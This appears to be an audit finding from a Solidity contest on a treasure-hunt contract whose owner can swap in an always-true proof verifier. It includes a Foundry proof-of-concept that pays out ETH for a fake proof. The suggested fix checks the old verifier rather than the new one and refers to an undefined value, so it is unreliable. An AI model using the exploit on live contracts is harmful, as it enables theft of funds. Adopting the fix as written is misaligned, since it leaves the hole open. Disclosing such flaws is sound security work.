SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Owner-Replaced Verifier Enables Theft

Author Revealed upon completion

Root + Impact

Description

  • The updateVerifier() function allows the owner to replace the verifier contract with any address implementing the IVerifier interface, without validating that the new verifier uses the same circuit or verification key (VK). Combined with the fact that the HonkVerifier contract's behavior is not verified to match the expected circuit , this creates a critical chain vulnerability.

// @>TreasureHunt.updateVerifier()
function updateVerifier(IVerifier newVerifier) external {
require(paused, "THE_CONTRACT_MUST_BE_PAUSED");
require(msg.sender == owner, "ONLY_OWNER_CAN_UPDATE_VERIFIER");
verifier = newVerifier;
emit VerifierUpdated(address(newVerifier));
}

Risk

Likelihood:

  • Reason 1: Owner can carry out the misbehavior at any time.

Impact:

  • Complete drainage of the 100 ETH treasure pool

  • Loss of all participant funds

  • Protocol economic failure

Proof of Concept

Run the test: forge test --match-test test_H2_owner_replaced_verifier_enables_theft

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {IVerifier} from "../src/Verifier.sol";
/// @notice Mock verifier that always returns true — used to demonstrate
/// that updateVerifier() accepts any IVerifier without VK validation.
contract MaliciousVerifier {
function verify(bytes calldata, bytes32[] calldata) external pure returns (bool) {
return true;
}
}
/// @notice Thin wrapper so we can pass a valid IVerifier to the TreasureHunt constructor.
contract HonestVerifierForDeploy {
function verify(bytes calldata, bytes32[] calldata) external pure returns (bool) {
revert("HonestVerifierForDeploy: only used at deployment");
}
}
contract VerifyH2_OwnerReplacedVerifierEnablesTheft is Test {
TreasureHunt hunt;
MaliciousVerifier maliciousVerifier;
address constant OWNER = address(0x1);
address constant CALLER = address(0x2); // calls claim()
address constant ATTACKER = address(0x3); // receives stolen funds
address constant VICTIM = address(0x4);
uint256 constant INITIAL_FUNDING = 100 ether;
uint256 constant REWARD = 10 ether;
function setUp() public {
vm.deal(OWNER, INITIAL_FUNDING * 2);
// Deploy honest verifier (only needed for constructor validation).
IVerifier honest = IVerifier(address(new HonestVerifierForDeploy()));
// Owner deploys TreasureHunt with legitimate verifier and funds it.
vm.prank(OWNER);
hunt = new TreasureHunt{value: INITIAL_FUNDING}(address(honest));
// Deploy the malicious verifier that always returns true.
maliciousVerifier = new MaliciousVerifier();
}
/// @notice Owner replaces verifier with malicious one; caller (attacker) steals via invalid proof.
function test_H2_owner_replaced_verifier_enables_theft() public {
uint256 attackerBalBefore = ATTACKER.balance;
uint256 contractBalBefore = address(hunt).balance;
// 1. Owner pauses the contract.
vm.prank(OWNER);
hunt.pause();
assertTrue(hunt.isPaused(), "contract should be paused");
// 2. Owner swaps in the malicious verifier (no VK hash validation).
vm.prank(OWNER);
hunt.updateVerifier(IVerifier(address(maliciousVerifier)));
assertEq(hunt.getVerifier(), address(maliciousVerifier), "malicious verifier should be set");
// 3. Owner unpauses.
vm.prank(OWNER);
hunt.unpause();
assertFalse(hunt.isPaused(), "contract should be unpaused");
// 4. CALLER submits an INVALID proof — malicious verifier always returns true.
// ATTACKER is the recipient, CALLER is the one calling claim.
bytes memory invalidProof = bytes("this is not a valid ZK proof");
bytes32 fakeTreasureHash = bytes32(uint256(0xABCD));
vm.prank(CALLER);
hunt.claim(invalidProof, fakeTreasureHash, payable(ATTACKER));
// 5. Verify 10 ETH was stolen to ATTACKER.
uint256 attackerBalAfter = ATTACKER.balance;
uint256 contractBalAfter = address(hunt).balance;
assertEq(attackerBalAfter, attackerBalBefore + REWARD, "attacker should have received REWARD");
assertEq(contractBalAfter, contractBalBefore - REWARD, "contract balance should have decreased by REWARD");
emit log_named_uint("Attacker balance change", attackerBalAfter - attackerBalBefore);
emit log_named_uint("Contract balance change", contractBalBefore - contractBalAfter);
}
/// @notice Owner replaces verifier; CALLER (attacker) calls claim to steal to VICTIM.
function test_H2_owner_enables_attacker_to_steal_via_malicious_verifier() public {
// Victim is an ordinary participant.
vm.deal(VICTIM, 1 ether);
uint256 victimBalBefore = VICTIM.balance;
uint256 contractBalBefore = address(hunt).balance;
// Owner pauses, swaps verifier, unpauses.
vm.prank(OWNER);
hunt.pause();
vm.prank(OWNER);
hunt.updateVerifier(IVerifier(address(maliciousVerifier)));
vm.prank(OWNER);
hunt.unpause();
// CALLER (attacker) calls claim with an invalid proof and VICTIM as recipient.
bytes memory invalidProof = bytes("totally invalid proof");
bytes32 fakeHash = bytes32(uint256(0xDEAD));
vm.prank(CALLER);
hunt.claim(invalidProof, fakeHash, payable(VICTIM));
// VICTIM receives the stolen REWARD (CALLER chose VICTIM as recipient).
assertEq(VICTIM.balance, victimBalBefore + REWARD, "victim should have received stolen REWARD");
assertEq(address(hunt).balance, contractBalBefore - REWARD, "contract should be drained by REWARD");
}
}

Recommended Mitigation

Add VK hash validation in updateVerifier() to ensure the replacement verifier uses the same verification key as the original. Consider also requiring a timelock or multi-signature approval for verifier updates, or removing the ability to update the verifier entirely once the hunt begins.

// Add a VK hash check
function updateVerifier(IVerifier newVerifier) external {
require(paused, "THE_CONTRACT_MUST_BE_PAUSED");
require(msg.sender == owner, "ONLY_OWNER_CAN_UPDATE_VERIFIER");
+ require(verifier.getVKHash() == expectedVKHash, "VK_MISMATCH");
verifier = newVerifier;
emit VerifierUpdated(address(newVerifier));
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!